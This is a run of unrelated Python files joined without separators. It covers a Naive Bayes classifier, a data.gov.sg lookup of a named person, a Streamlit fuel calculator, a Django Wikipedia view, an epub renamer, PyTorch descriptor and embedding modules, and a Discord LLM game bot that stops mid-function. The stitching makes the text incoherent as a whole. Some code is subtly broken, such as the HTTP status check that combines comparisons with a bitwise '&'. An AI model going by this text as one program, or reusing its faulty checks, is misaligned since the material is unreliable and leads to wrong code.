'''
Naive Bayes
extension: normal_distribution https://en.wikipedia.org/wiki/Normal_distribution

@author: Jame Phankosol
'''

# Importing the library
import math
from data_preparation import evaluation_algorithm, evaluation_metrics, load_csv

# Split the dataset by class values, returns a dictionary
def separate_by_class(dataset):
    '''
    ทำการแยก dataset ว่าคลาสนี้มี vector ไหนบ้าง
    :param dataset:
    :return:
    '''
    # create dict()
    sepatated = {}
    for vector in dataset:
        class_value = vector[-1]
        if not class_value in sepatated:
            sepatated[class_value] = []
        sepatated[class_value].append(vector)
    return sepatated

# Calculate the mean of a list of numbers
def mean(numbers):
    return sum(numbers) / float(len(numbers))

# Calculate the standard deviation of a list of numbers
def stdev(numbers):
    avg = mean(numbers)
    varince = 0.0
    for x in numbers:
        varince += (x - avg) ** 2
    return math.sqrt(varince / (float(len(numbers)) - 1))

# Calculate the mean, stdev and count for each column in a dataset
def summarize_dataset(dataset):
    summaries = [(mean(column), stdev(column), len(column)) for column in zip(*dataset)]
    del summaries[-1]
    return summaries

# Split dataset by class then calculate statistics for each row
def summarize_by_class(dataset):
    '''

    :param dataset:
    :return: (means, stdev, length) for each column
    '''
    separate = separate_by_class(dataset)
    summarize = {}
    for class_value, rows in separate.items():
        summarize[class_value] = summarize_dataset(rows)
    return summarize

# Calculate the Gaussian probability distribution function for x
def calculate_probability(x, mean, stdev):
    '''
    normal distribution calculate
    :param x:
    :param mean:
    :param stdev:
    :return:
    '''
    exponent = math.exp(-((x - mean) ** 2) / (2 * stdev ** 2))
    return (1 / (math.sqrt(2 * math.pi) * stdev)) * exponent

# Calculate the probabilities of predicting each class for a given row
def calculate_class_probabilities(summaries, row):
    '''
    จาก     P(class|data) = ______P(X|class) × P(class)______
                                        P(X)
    ลดรูปเป็น:
            P(class|data) = P(X|class) × P(class)
    // ไม่ต้องหารด้วย P(data) แล้ว เพราะทุกตัวมี P(data)เท่ากัน จะเปรียบเทียบหา max_value ไม่จำเป็นต้องใช้ constant มาพิจารณา

    EX: X = [X1, X2]
        P(class = 0|X1, X2) = P(X1|class = 0) × P(X2|class = 0) × P(class = 0)

    :param summaries:
    :param row:
    :return:
    '''
    total_rows = 0
    for _, class_summaries in summaries.items():
        total_rows += class_summaries[0][2]  # get number of row from each class

    probabilities = {}
    for class_value, class_summaries in summaries.items():
        # calculate P(classA)
        # P(classA) = (number_of_row_from_classA) / (number_of_total_row)
        probabilities[class_value] = class_summaries[0][2] / float(total_rows)

        # calculate each P(X1|class = A)
        for numCol in range(0, len(class_summaries)):
            mean, stdev, count = class_summaries[numCol]
            # calculate on each attribute of row
            probabilities[class_value] *= calculate_probability(x=row[numCol], mean=mean, stdev=stdev)
    return probabilities

# Predict the class for a given row
def predict(summaries, row):
    probabilities = calculate_class_probabilities(summaries, row)
    best_class, best_prob = None, -1
    for (class_value, class_prob) in probabilities.items():
        if class_prob > best_prob or best_class is None:
            best_class, best_prob = class_value, class_prob
    return best_class

# Naive Bayes Algorithm
def naive_bayes(train, test):
    summarize = summarize_by_class(train)
    predictions = []
    for row in test:
        predictions.append(predict(summarize, row))
    return predictions

# Evaluate an algorithm using a cross validation split
def evaluate_algorithm(dataset, algorithm, n_folds, *args):
    folds = evaluation_algorithm.cross_validation_split(dataset, n_folds)
    scores = []
    for fold in folds:
        train_set = list(folds)
        train_set.remove(fold)
        train_set = sum(train_set, [])

        test_set = []
        for row in fold:
            row_copy = list(row)
            row_copy[-1] = None
            test_set.append(row_copy)

        predicted = algorithm(train_set, test_set)
        actual = [row[-1] for row in fold]

        accuracy = evaluation_metrics.accuracy_metric(actual, predicted)
        scores.append(accuracy)
    return scores

#
#
#
#
# -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
# Test calculating class probabilities
# dataset = [[3.393533211, 2.331273381, 0],
#            [3.110073483, 1.781539638, 0],
#            [1.343808831, 3.368360954, 0],
#            [3.582294042, 4.67917911, 0],
#            [2.280362439, 2.866990263, 0],
#            [7.423436942, 4.696522875, 1],
#            [5.745051997, 3.533989803, 1],
#            [9.172168622, 2.511101045, 1],
#            [7.792783481, 3.424088941, 1],
#            [7.939820817, 0.791637231, 1]]
# summaries = summarize_by_class(dataset)
# probabilities = calculate_class_probabilities(summaries, dataset[0])
# print(probabilities)

# Test Naive Bayes on Iris Dataset
filename = 'file_collection/iris.csv'
dataset = load_csv.load_csv(filename)
for i in range(0, len(dataset[0]) - 1):
    load_csv.str_column_to_float(dataset=dataset, column=i)
load_csv.str_column_to_int(dataset, len(dataset[0]) - 1)
# evaluate algorithm
n_folds = 5
scores = evaluate_algorithm(dataset, naive_bayes, n_folds)
print('Scores: %s' % (scores))
print('Means Accuracy: %.3f%%' % (sum(scores) / float(len(scores))))


from urllib import response
import requests

name = "ZOE TEO XUAN YU"
url = f'https://data.gov.sg/api/action/datastore_search?resource_id=a41ce851-728e-4d65-8dc5-e0515a01ff31&limit=5&q={name}'

response = requests.get(url)

if(response.status_code <= 200 & response.status_code >= 29):
    print(response.json())
    result = response.json()['result']['records']


import streamlit as st
from calculator import FuelCostCalculator

st.set_page_config(
    page_title="Fuel Cost Calculator",
    page_icon=":car:",
    layout="centered",
)

with st.container():
    # title
    st.write("# :car: Fuel Cost Calculator")

    # description
    st.write("Calculate fuel cost for every km you drive.")

    # input fields
    st.write("---")
    base_currency = st.selectbox("💵 Base currency", ("R", "$", "€", "£"))
    tank_size = float(st.text_input(label="💧 Fuel tank size [L]", value="40.0"))
    distance_on_tank = float(st.text_input(label="🌍 Distance you can drive on a full tank [km]", value="450.0"))
    fuel_cost = float(st.text_input(label=f"⛽ Fuel cost [{base_currency}/L]", value="24.38"))

    # calculate button
    st.write("---")
    if st.button("Calculate"):
        calc = FuelCostCalculator(
            tank_size=tank_size,
            distance_on_tank=distance_on_tank,
            fuel_cost=fuel_cost,
            base_currency=base_currency
        )
        cost = calc.calculate_cost_per_km()
        st.write(f"### Cost per km: {calc.base_currency} {round(cost, 2)}")
    else:
        st.write("*Click Calculate when ready.*")
    st.write("---")


from django.shortcuts import render
import wikipedia
# Create your views here.

def wiki(request):
    if request.method=='POST':
        search=request.POST['search']
        print(search)
        search_results = wikipedia.search(search)
        if search_results:
            article_summary=wikipedia.summary(search)
            print(article_summary)
            return render(request,'wiki.html',{'data':article_summary})
        else:
           print("No search results found.")
    return render(request,'wiki.html')


# Bicanic, Iva & Korver, Richard - Dicht bij huis (2020)

import os
import glob
import re
from datetime import date

# Renaming the file
#os.rename(old_name, new_name)
bookLocation  = 'C:\\Scripts\\pythontestfiles\\'
documentLocation = 'C:\\Scripts\\pythontestfiles\\'

# Functions
def getFileName(name):
    # function to get the filename without it's location
    return name[len(bookLocation):]

def getFirstName(fileName):
    # When the filename layout is as followed: Lastname, Firstname - bookname,
    # we want to change that filename. we search for the comma after the first word
    firstWord = fileName.split()[0]
    if firstWord[-1] == ',':
        firstName = fileName.split("-",1)[0]
        firstName = firstName.split(",",1)[1]
        return firstName[1:]
    else:
        return firstWord + " "

def getLastName(filename):
    firstWord = filename.split()[0]
    if firstWord[-1] == ',':
        return firstWord[:-1]
    else:
        return filename.split(' ')[1]

def getBookTitle(filename):
    title = filename.split("-", 1)[1]
    title = title.split(".epub", 1)[0]
    print("Book title: " + title)
    # remove from which year the book is from
    title = re.sub("\([0-9][0-9][0-9][0-9]\)",'', title)
    print("Book title(removed year): " + title)
    title = re.sub("(epub)",'', title)
    return title

# start of program
today = date.today()
today = str(today)
file = open(documentLocation + "Log\\" + today + ".txt", "a")

# for each epub file in location
for name in glob.glob(bookLocation + '*.epub'):
    print("-" * 100)

    # get  current filename
    oldFileName = getFileName(name)
    print("filename: " + oldFileName)

    # if there are more authors
    if(re.search("&",oldFileName)):
        print("'&' found!")
        oldFileNameFirstPart = oldFileName.split("&", 1)[0]
        oldFileNameLastPart = oldFileName.split("&", 1)[1]
        print("First part: " + oldFileNameFirstPart)
        print("Last part: "+ oldFileNameLastPart)
        oldFileNameSplitted = oldFileName.split("&", 1)[1]
        print("splitted: " + oldFileNameSplitted)
        firstNameSecondAuthor = getFirstName(oldFileNameLastPart)
        lastNameSecondAuthor = getLastName(oldFileNameLastPart)
        firstName = getFirstName(oldFileNameFirstPart)
        lastName = getLastName(oldFileNameFirstPart) + " &"
        multipleAuthors = True

    else:
        firstName = getFirstName(oldFileName)
        lastName = getLastName(oldFileName)
        multipleAuthors = False

    print("First name: " + firstName)
    print("Last name: " + lastName)

    # print("First name second author: " + firstNameSecondAuthor)
    # print("Last name second author: " + lastNameSecondAuthor)

    # Get the book title
    bookTitle = getBookTitle(oldFileName)

    if multipleAuthors == True:
        print("First name second author: " + firstNameSecondAuthor)
        print("Last name second author: " + lastNameSecondAuthor)
        newFileName = firstName + lastName + firstNameSecondAuthor +  lastNameSecondAuthor + " -" + bookTitle
    else:
        newFileName = firstName + lastName + " -" + bookTitle

    print("New file name: " + newFileName)

    #os.rename(folderLocation + oldFileName, folderLocation + firstName + " " + lastName + " - " + bookTitle + ".epub")
    file.write( "-" * 50 + "\n")
    file.write("= Originele bestandsnaam:\n     " + oldFileName + "\n")
    file.write("= Nieuwe bestandsnaam:\n    " + newFileName + "\n")

print("Datum: " + str(date.today()))
print("-" * 100)


import os
import numpy as np
import torch
import torch.nn as nn

from .layers import Gradients, EmbedGradients, ExplicitSpacialEncoding, L2Norm, Whitening

class MKD(nn.Module):
    """
    Module, which computes Multiple kernel local descriptors of given patches.
    Args:
        dtype: (str) Parametrization of kernel.
              'concat', 'polar', 'cart'('concat' is default)
        patch_size: (int) Input patch size in pixels (32 is default)
        whitening: (str) Whitening transform to use.
              None, 'lw', 'pca', 'pcaws', 'pcawt'('pcawt' is default)
        training_set: (str) Dataset from PhotoTourism on which whitening is trained.
              'liberty', 'notredame', 'yosemite'()
        reduce_dims: (int) Dimensionality reduction (128 is default).
        do_l2: (bool) l2-normalize individual embeddings (True is default).
        do_final_l2: (bool) l2-normalize final embedding (True is default).
        do_gmask: (bool) Apply gaussian mask to centre (True is default).
        device: (str) Torch device to use ('cpu' is default).
    Returns:
        Tensor: MKD descriptor of the patches.
    Shape:
        - Input: (B, 1, patch_size, patch_size)
        - Output: (B, out_dim)
    Examples::
        >>> patches = torch.rand(23, 1, 32, 32)
        >>> mkd = mkd_pytorch.MKD(dtype='concat',
                                  patch_size=32,
                                  whitening='pcawt',
                                  training_set='liberty',
                                  device='cpu')
        >>> descs = mkd(patches) # 23x128
    """

    def __init__(self,
        dtype: str = 'concat',
        patch_size: int = 32,
        whitening: str = 'pcawt',
        training_set: str = 'liberty',
        reduce_dims: int = 128,
        do_l2: bool = True,
        do_final_l2: bool = True,
        do_gmask: bool = True,
        device: str = 'cpu') -> None:
        super().__init__()

        self.patch_size = patch_size
        self.whitening = whitening
        self.reduce_dims = reduce_dims
        self.training_set = training_set
        self.do_l2 = do_l2
        self.do_final_l2 = do_final_l2
        self.do_gmask = do_gmask
        self.device = device
        self.in_shape = [-1, 1, patch_size, patch_size]
        self.dtype = dtype
        self.norm = L2Norm()

        # Use the correct model_file.
        this_dir, _ = os.path.split(__file__)
        self.model_file = os.path.join(this_dir, f'mkd-{dtype}-64.pkl')

        self.grads = Gradients(patch_size=patch_size,
                               do_smoothing=True,
                               sigma=1.4 * (patch_size / 64.0),
                               device=device)

        # Cartesian embedding with absolute gradients.
        if dtype in ['cart', 'concat']:
            ori_abs = EmbedGradients(patch_size=patch_size,
                                     relative=False,
                                     device=device)
            cart_emb = ExplicitSpacialEncoding(dtype='cart',
                                               fmap_size=self.patch_size,
                                               in_dims=7,
                                               do_gmask=self.do_gmask,
                                               do_l2=self.do_l2)
            self.cart_feats = nn.Sequential(ori_abs, cart_emb)

        # Polar embedding with relative gradients.
        if dtype in ['polar', 'concat']:
            ori_rel = EmbedGradients(patch_size=patch_size,
                                     relative=True,
                                     device=device)
            polar_emb = ExplicitSpacialEncoding(dtype='polar',
                                               fmap_size=self.patch_size,
                                               in_dims=7,
                                               do_gmask=self.do_gmask,
                                               do_l2=self.do_l2)
            self.polar_feats = nn.Sequential(ori_rel, polar_emb)

        if dtype == 'concat':
            self.odims = polar_emb.odims + cart_emb.odims
        elif dtype == 'cart':
            self.odims = cart_emb.odims
        elif dtype == 'polar':
            self.odims = polar_emb.odims

        # Redundancy to support old code somewhere.
        self.out_dim = self.odims

        # Load supervised (lw) or unsupervised (pca) model trained on training_set.
        if self.whitening is not None:
            algo = 'lw' if self.whitening == 'lw' else 'pca'
            whitening_models = np.load(self.model_file, allow_pickle=True)
            whitening_model = whitening_models[training_set][algo]
            self.whitening_layer = Whitening(whitening,
                                             whitening_model,
                                             reduce_dims=reduce_dims,
                                             device=device)

            self.out_dim = self.reduce_dims
            self.odims = self.reduce_dims

    def forward(self, patches: torch.Tensor) -> torch.Tensor:  # pylint: disable=W0221
        g = self.grads(patches)

        if self.dtype in ['polar', 'concat']:
            pe = self.polar_feats(g)
        if self.dtype in ['cart', 'concat']:
            ce = self.cart_feats(g)

        if self.dtype == 'concat':
            y = torch.cat([pe, ce], dim=1)
        elif self.dtype == 'cart':
            y = ce
        elif self.dtype == 'polar':
            y = pe
        if self.do_final_l2:
            y = self.norm(y)

        if self.whitening is not None:
            y = self.whitening_layer(y)
        return y

    def extra_repr(self) -> str:
        return (f'dtype:{self.dtype}, patch_size:{self.patch_size}, whitening:{self.whitening},\n'
                f'training_set:{self.training_set}, reduce_dims:{self.reduce_dims},\n'
                f'do_l2:{self.do_l2}, do_final_l2:{self.do_final_l2}, do_gmask:{self.do_gmask}\n')


from typing import List

import torch
import torch.nn as nn

from .utils import rgetattr, rsetattr

def script_chunked_embedding(model, device):

    def helper(module, name):
        """name is need to modify the module itself"""
        # for i in range(module.n_chunk):
        for i in range(len(module.embedding_chunks)):
            module.embedding_chunks[i] = torch.jit.trace(
                module.embedding_chunks[i],
                torch.zeros((1, 1), device=device).long()
            )
        rsetattr(model, name, torch.jit.script(module))

    for name, module in model.named_modules():
        if isinstance(module, ChunkedEmbedding):
            helper(module, name)
    return model

class ChunkedEmbedding(nn.Module):
    def __init__(self, embedding, chunk_size=1000, dtype=None):
        super().__init__()

        self._dtype = dtype if dtype is not None else embedding.weight.dtype
        self.chunk_size = chunk_size

        self.embedding_dim = embedding.embedding_dim
        self.num_embeddings = embedding.num_embeddings
        self.padding_idx = embedding.padding_idx
        self.max_norm = embedding.max_norm
        self.norm_type = embedding.norm_type
        self.scale_grad_by_freq = embedding.scale_grad_by_freq
        self.sparse = embedding.sparse

        def get_embedding_chunk(start_i):
            _weight = embedding.weight[start_i:start_i +
                                       chunk_size].detach().clone()
            num_embeddings = _weight.size(0)
            return nn.Embedding(
                num_embeddings,
                embedding_dim=self.embedding_dim,
                padding_idx=self.padding_idx,
                max_norm=self.max_norm,
                norm_type=self.norm_type,
                scale_grad_by_freq=self.scale_grad_by_freq,
                sparse=self.sparse,
                _weight=_weight,
            )

        self.embedding_chunks = nn.ModuleList([
            get_embedding_chunk(i)
            for i in range(0, self.num_embeddings, chunk_size)
        ])
        self.n_chunk = len(self.embedding_chunks)

    @torch.jit.ignore
    def get_size(self, input_) -> List[int]:
        size = [*input_.size(), self.embedding_dim]
        return size

    @staticmethod
    @torch.jit.ignore
    def update(output, group_indice: List[torch.Tensor],
               group_output) -> None:
        output[group_indice] = group_output

    @staticmethod
    @torch.jit.ignore
    def get_group_indice(group, group_i: int) -> List[torch.Tensor]:
        group_indice = (group == group_i).nonzero(as_tuple=True)
        return group_indice

    @torch.jit.ignore
    def get_group_input(self, input_, group_indice: List[torch.Tensor],
                        group_i: int):
        group_input = input_[group_indice] - group_i * self.chunk_size
        return group_input

    def forward(self, input_):
        # Don't know why torch.jit.ignore the whole method still raises error
        # (even define a new method and call by this forward) torch==1.10.1
        output = torch.empty(self.get_size(input_),
                             device=input_.device, dtype=self._dtype)
        group = input_.div(self.chunk_size, rounding_mode='floor')

        # TODO use set instead of list
        # (Doesn't seem to be supported by TorchScript? torch==1.10.1)
        group_unique: List[int] = torch.unique(group).tolist()

        for group_i, embedding_chunk in enumerate(self.embedding_chunks):
            if group_i in group_unique:
                group_indice = self.get_group_indice(group, group_i)
                group_input = self.get_group_input(
                    input_, group_indice, group_i)
                group_output = embedding_chunk(group_input)
                self.update(output, group_indice, group_output)

        return output

    # Clean implementation
    # def forward(self, input_):
    #     output = torch.empty((*input_.size(), self.embedding_dim),
    #                          device=input_.device, dtype=self._dtype)
    #     group = input_.div(self.chunk_size, rounding_mode='floor')
    #     for group_i in group.unique():
    #         group_indice = (group == group_i).nonzero(as_tuple=True)
    #         group_input = input_[group_indice] - group_i * self.chunk_size
    #         output[group_indice] = self.embedding_chunks[group_i](group_input)
    #     return

def chunked_embedding(model, target_module_name, chunk_size=4096):
    r""" Attempts to split an `torch.nn.Embedding` layer into multiple chunks of `torch.nn.Embedding` with smaller `num_embeddings`.
    The `num_embeddings` of all chunks will be equal to `chunk_size`, except the last one.
    """
    old_embedding = rgetattr(model, target_module_name)
    if not isinstance(old_embedding, nn.Embedding):
        raise AssertionError(
            f'{target_module_name} is not an nn.Embedding'
        )
    new_embedding = ChunkedEmbedding(old_embedding,
                                     chunk_size=chunk_size)
    rsetattr(model, target_module_name, new_embedding)
    return model


import yaml
import os
import random
import re
from tabulate import tabulate
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sns

def split_string_into_chunks(text):
    MAX_CHUNK_SIZE = 2000
    chunks = []
    current_chunk = ""

    for line in text.splitlines():
        if len(current_chunk) + len(line) + 1 <= MAX_CHUNK_SIZE:
            current_chunk += line + "\n"
        else:
            chunks.append(current_chunk.strip())
            current_chunk = line + "\n"

    if current_chunk:
        chunks.append(current_chunk.strip())

    return chunks

def load_txt_file(filename):
    example_file = open(filename)
    return ''.join(example_file)

def load_prompt_file(filename):
    current_dir = os.path.dirname(os.path.abspath(__file__))
    intro_file_path = os.path.join(current_dir, 'prompt_texts', filename)
    return load_txt_file(intro_file_path)

def load_intro(prompt_num):
    current_dir = os.path.dirname(os.path.abspath(__file__))
    intro_file_path = os.path.join(current_dir, 'prompt_texts', f"PromptIntro{prompt_num}.txt")
    return load_txt_file(intro_file_path)

def load_example(ex_num):
    current_dir = os.path.dirname(os.path.abspath(__file__))
    example_file_path = os.path.join(current_dir, 'prompt_texts', f"Example{ex_num}.txt")
    return load_txt_file(example_file_path)

def roll(num_sides):
    return random.randint(1, num_sides)

def parse_output(input_string):
    thoughts_match = re.search(r'THOUGHTS:(.*?)RESPONSE:', input_string, re.DOTALL)
    if thoughts_match:
        thoughts = thoughts_match.group(1).strip()
    else:
        thoughts = None

    response_match = re.search(r'RESPONSE:(.*?)SUMMARY:', input_string, re.DOTALL)
    if response_match:
        response = response_match.group(1).strip()
    else:
        response = None

    summary_match = re.search(r'SUMMARY:(.*)', input_string, re.DOTALL)
    if summary_match:
        summary = summary_match.group(1).strip()
    else:
        summary = None

    return thoughts, response, summary

def plot_histogram(players, filename=None):
    plt.figure(figsize=[12, 8])
    sns.set()  # set aesthetic parameters in one step

    # Prepare data
    dice_numbers = np.arange(1, 21)
    frequencies = {player: [rolls.count(i) for i in dice_numbers] for player, rolls in players.items()}

    # Create bottom padding for stacked bar chart
    bottoms = np.array([0] * 20)

    for player, freq in frequencies.items():
        plt.bar(dice_numbers, freq, bottom=bottoms, label=player)
        bottoms += np.array(freq)

    plt.title('Histogram of Dice Rolls')
    plt.xlabel('Dice Number')
    plt.ylabel('Frequency')
    plt.xticks(dice_numbers)
    plt.legend()
    plt.grid(True)

    fig = plt.gcf()

    if filename:
        fig.savefig(filename)

    return fig

class DataResponse:
    def __init__(self, success, msg):
        self.success = success
        self.msg = msg

    def get_success(self):
        return self.success

    def get_message(self):
        return self.msg

class Turn:
    def __init__(self, turn_num=None, sender_id=None, sender_msg=None, roll=None, ai_resp=None, summary=None,
                 config=None):
        if config is not None:
            self.turn_num = config["turn_num"]
            self.sender_id = config["sender_id"]
            self.sender_msg = config["sender_msg"]
            self.roll = config["roll"]
            self.ai_response = config["ai_response"]
            self.summary = config["summary"]
        else:
            self.turn_num = turn_num
            self.sender_id = sender_id
            self.sender_msg = sender_msg
            self.roll = roll
            self.ai_response = ai_resp
            self.summary = summary

    def get_roll(self):
        return self.roll

    def export(self):
        config = {
            'turn_num': self.turn_num,
            'sender_id': self.sender_id,
            'sender_msg': self.sender_msg,
            'roll': self.roll,
            'ai_response': self.ai_response,
            'summary': self.summary
        }
        return config

class Player:
    def __init__(self, id=None, name=None, territories=None, special_resources=None, config=None):
        if config is not None:
            self.id = config["id"]
            self.name = config["name"]
            self.territories = config["territories"]
            self.special_resources = config["special_resources"]
            self.last_move_summary = config["last_move_summary"]
            self.turn_numbers = config["turn_numbers"]
        else:
            self.id = id
            self.name = name
            self.territories = territories
            self.special_resources = special_resources
            self.last_move_summary = f"{self.name} has not made any actions yet."
            self.turn_numbers = []

    def has_territory(self, territory):
        return territory in self.territories

    def add_territory(self, territory):
        if not self.has_territory(territory):
            self.territories.append(territory)
            return DataResponse(True, f"{self.name} now has {territory}")
        else:
            return DataResponse(False, f"{self.name} already has the territory {territory}")

    def remove_territory(self, territory):
        if self.has_territory(territory):
            self.territories.remove(territory)
            return DataResponse(True, f"{self.name} lost {territory}")
        else:
            return DataResponse(False, f"{self.name} does not have {territory}")

    def get_territories(self):
        return self.territories

    def has_special_resource(self, special_resource):
        return special_resource in self.special_resources

    def add_special_resource(self, special_resource):
        if not self.has_special_resource(special_resource):
            self.special_resources.append(special_resource)
            return DataResponse(True, f"{self.name} now has {special_resource}")
        else:
            return DataResponse(False, f"{self.name} already has the special resource {special_resource}")

    def remove_special_resource(self, special_resource):
        if self.has_special_resource(special_resource):
            self.special_resources.remove(special_resource)
            return DataResponse(True, f"{self.name} lost {special_resource}")
        else:
            return DataResponse(False, f"{self.name} does not have {special_resource}")

    def get_special_resources(self):
        return self.special_resources

    def add_turn_number(self, turn_number):
        if turn_number not in self.turn_numbers:
            self.turn_numbers.append(turn_number)
            return DataResponse(True, f"{self.name} added {turn_number} to their turns")
        else:
            return DataResponse(False, f"{self.name} already has a turn {turn_number} listed")

    def update_name(self, name):
        self.name = name

    def set_last_move_summary(self, summary):
        self.last_move_summary = summary

    def add_turn(self, turn):
        self.set_last_move_summary(turn.summary)
        self.add_turn_number(turn.turn_num)

    def export(self):
        config = {
            'id': self.id,
            'name': self.name,
            'territories': self.territories,
            'special_resources': self.special_resources,
            'last_move_summary': self.last_move_summary,
            'turn_numbers': self.turn_numbers
        }
        return config

    def get_score(self):
        score = len(self.territories) + len(self.special_resources)
        return DataResponse(True, f"{self.name} has a score of:  {score}")

    def score(self):
        return len(self.territories) + len(self.special_resources)

    def get_state_summary(self):
        territories = ', '.join(self.territories)
        resources = ', '.join(self.special_resources)
        player_state = f"{self.name}: {self.score()} pts, controls {territories}; special resources: {resources}."
        return DataResponse(True, player_state)

    def get_latest_move(self):
        return DataResponse(True, f"{self.name}: {self.last_move_summary}")

    def get_id(self):
        return self.id

    def get_name(self):
        return self.name

    def get_turns(self):
        return self.turn_numbers

class Channel:
    def __init__(self, id=None, prompt=None, temperature=None, config=None):
        if config is not None:
            self.id = config["id"]
            self.prompt = config["prompt"]
            self.active = config["active"]
            self.temperature = config["temperature"]
            self.players = {}
            self.turns = []
            if "response_style" in config:
                self.response_style = config["response_style"]
            else:
                self.response_style = "about 1 paragraph"
            players = config["players"]
            for player, player_data in players.items():
                self.players[player] = Player(config=player_data)
            turns = config["turns"]
            for turn_data in turns:
                self.turns.append(Turn(config=turn_data))
            self.current_turn = len(self.turns) + 1
        else:
            self.id = id
            self.prompt = prompt
            if temperature is not None:
                self.temperature = temperature
            else:
                self.temperature = 0.2
            self.players = {}
            self.turns = []
            self.active = False
            self.current_turn = 1
            self.response_style = "About 1 paragraph"

    def set_prompt(self, prompt):
        self.prompt = prompt
        return DataResponse(True, f"Prompt set to: {self.prompt}")

    def get_prompt(self):
        return DataResponse(True, f"Prompt: {self.prompt}")

    def set_active(self):
        if self.prompt is None:
            return DataResponse(False, "Session does not have a prompt therefore it cannot be set to active")
        elif len(self.players) == 0:
            return DataResponse(False, "Session has no players, therefore it cannot be set to active")
        else:
            self.active = True
            return DataResponse(True, "Session was set to active")

    def set_unactive(self):
        self.active = False
        return DataResponse(True, "Session was deactivated")

    def get_active(self):
        if self.active:
            return DataResponse(True, "This channel currently has an active session")
        else:
            return DataResponse(True, "This channel does not have an active session")

    def set_temperature(self, temp):
        self.temperature = temp
        return DataResponse(True, f"The LLM temperature was set to {temp}")

    def get_temperature(self):
        return self.temperature

    def set_response_style(self, response_style):
        self.response_style = response_style
        return DataResponse(True, f"Response style was set to {response_style}")

    def add_player(self, user, territories, special_resources):
        self.players[user.id] = Player(user.id, user.display_name, territories, special_resources)
        return DataResponse(True, f"Player {user.display_name} was added to the conquest!")

    def add_turn(self, sender_id, sender_msg, d20_roll, ai_resp, summary):
        current_turn = len(self.turns) + 1
        turn = Turn(current_turn, sender_id, sender_msg, d20_roll, ai_resp, summary)
        self.turns.append(turn)
        self.players[sender_id].add_turn(turn)

    def undo_turn(self):
        if len(self.turns) > 0:
            last_turn = self.turns.pop()
            player = self.players[last_turn.sender_id]
            player.turn_numbers.pop()
            if len(player.turn_numbers) > 0:
                player.last_move_summary = self.turns[player.turn_numbers[-1] - 1].summary
            else:
                player.last_move_summary = f"{player.name} has not made any actions yet."
            return DataResponse(True, "Last turn undone successfully")
        else:
            return DataResponse(False, "No turns to undo")

    def get_turn(self, idx):
        return self.turns[idx]

    def in_game(self, user):
        if user.id not in self.players:
            return DataResponse(False, "This player is not actively in the game, use `!addPlyaer`")
        else:
            return DataResponse(True, "Player in game")

    def give_territory(self, user, territory):
        if user.id not in self.players:
            return DataResponse(False, "This player is not actively in the game, use `!addPlyaer`")
        player = self.players[user.id]
        player.add_territory(territory)
        return DataResponse(True, f"You now have control of {territory}")

    def give_special_resource(self, user, special_resource):
        if user.id not in self.players:
            return DataResponse(False, "This player is not actively in the game, use `!addPlyaer`")
        player = self.players[user.id]
        player.add_special_resource(special_resource)
        return DataResponse(True, f"You now own {special_resource}")

    def get_territories(self, user):
        if user.id not in self.players:
            return DataResponse(False, "This player is not actively in the game, use `!addPlyaer`")
        player = self.players[user.id]
        return player.get_territories()

    def get_special_resources(self, user):
        if user.id not in self.players:
            return DataResponse(False, "This player is not actively in the game, use `!addPlyaer`")
        player = self.players[user.id]
        return player.get_special_resources()

    def lose_territory(self, user_id, territory):
        if user_id not in self.players:
            return DataResponse(False, "This player is not actively in the game")
        player = self.players[user_id]
        player.remove_territory(territory)
        return DataResponse(True, f"{territory} removed")

    def lose_special_resource(self, user_id, special_resource):
        if user_id not in self.players:
            return DataResponse(False, "This player is not actively in the game")
        player = self.players[user_id]
        player.remove_special_resource(special_resource)
        return DataResponse(True, f"{special_resource} removed")

    def get_game_state(self):
        player_states = []
        for player, player_state in self.players.items():
            resp = player_state.get_state_summary()
            player_states.append(resp.msg)
        return '\n'.join(player_states)

    def get_latest_moves(self):
        latest_moves = []
        for player, player_state in self.players.items():
            resp = player_state.get_latest_move()
            latest_moves.append(resp.msg)
        return '\n'.join(latest_moves)

    def check_ready_for_turn(self, sender_id):
        if self.prompt is None:
            return DataResponse(False, "Session does not have a prompt, call !setprompt")
        elif len(self.players) == 0:
            return DataResponse(False, "Session has no players, call !addplayer")
        elif not self.active:
            return DataResponse(False, "Session is not active, call !start")
        elif sender_id not in self.players:
            return DataResponse(False, "Do not recognize player that sent the message, please add them")
        else:
            return DataResponse(True, "Ready")

    def generate_turn_request(self, sender_id, msg, d20_roll):
        game_session_intro = f"Game Session: {self.prompt}\n\n"

        other_parameters = "Settings:\n"
        other_parameters += f"Response Style: {self.response_style}\n"
        other_parameters += "\n\n"

        last_turn_summaries = "Last Turn Summaries:\n"
        last_turn_summaries += "\n".join([player.get_latest_move().get_message() for player in self.players.values()])
        last_turn_summaries += "\n\n"

        current_game_state = "Current Game State:\n"
        current_game_state += "\n".join([player.get_state_summary().get_message() for player in self.players.values()])
        current_game_state += "\n\n"

        incoming_turn = "Incoming Turn\n"
        incoming_turn += f"From: {self.players[sender_id].get_name()}\n"
        incoming_turn += f"Message: {msg}\n"
        incoming_turn += f"D20 roll: {d20_roll}\n"

        return game_session_intro + other_parameters + last_turn_summaries + current_game_state + incoming_turn

    def generate_full_request(self, sender_id, msg, d20_roll):
        full_request = load_intro(2)
        full_request += "\nEXAMPLE 1:"
        full_request += "\n" + load_example(1)
        full_request += "\nEXAMPLE 2:"
        full_request += "\n" + load_example(2)
        full_request += "\nEXAMPLE 3:"
        full_request += "\n" + load_example(3)
        full_request += "\n---------"
        full_request += "\nNow for your real input, remember to follow the example structures and provide a clear " \
                        "success or failure of the action "
        full_request += "\n" + self.generate_turn_request(sender_id, msg, d20_roll)
        return full_request

    def get_players_ranking(self):
        # First we'll create a list of players along with their scores, territories, and special resources
        # Each element in the list is a tuple with format: (score, player_name, territories, special_resources)
        player_rankings = [
            (player.score(), player.get_name(), player.territories, player.special_resources)
            for player in self.players.values()]

        # Now we sort the list in descending order of score (which is the first element of each tuple)
        # Python's sort function will automatically sort tuples by their first element first, then second, and so on
        player_rankings.sort(reverse=True)

        # Now we'll create a string representation of the sorted list
        player_rankings_str_list = []
        for score, player_name, territories, special_resources in player_rankings:
            territories_str = ', '.join(territories)
            special_resources_str = ', '.join(special_resources)
            player_rankings_str_list.append(
                f"{player_name} with a score of {score}, controls territories: {territories_str} and owns resources: {special_resources_str}"
            )

        # Finally, join the string representations of the player rankings into one string separated by newlines
        return '\n'.join(player_rankings_str_list)

    def get_players_rankingV2(self):
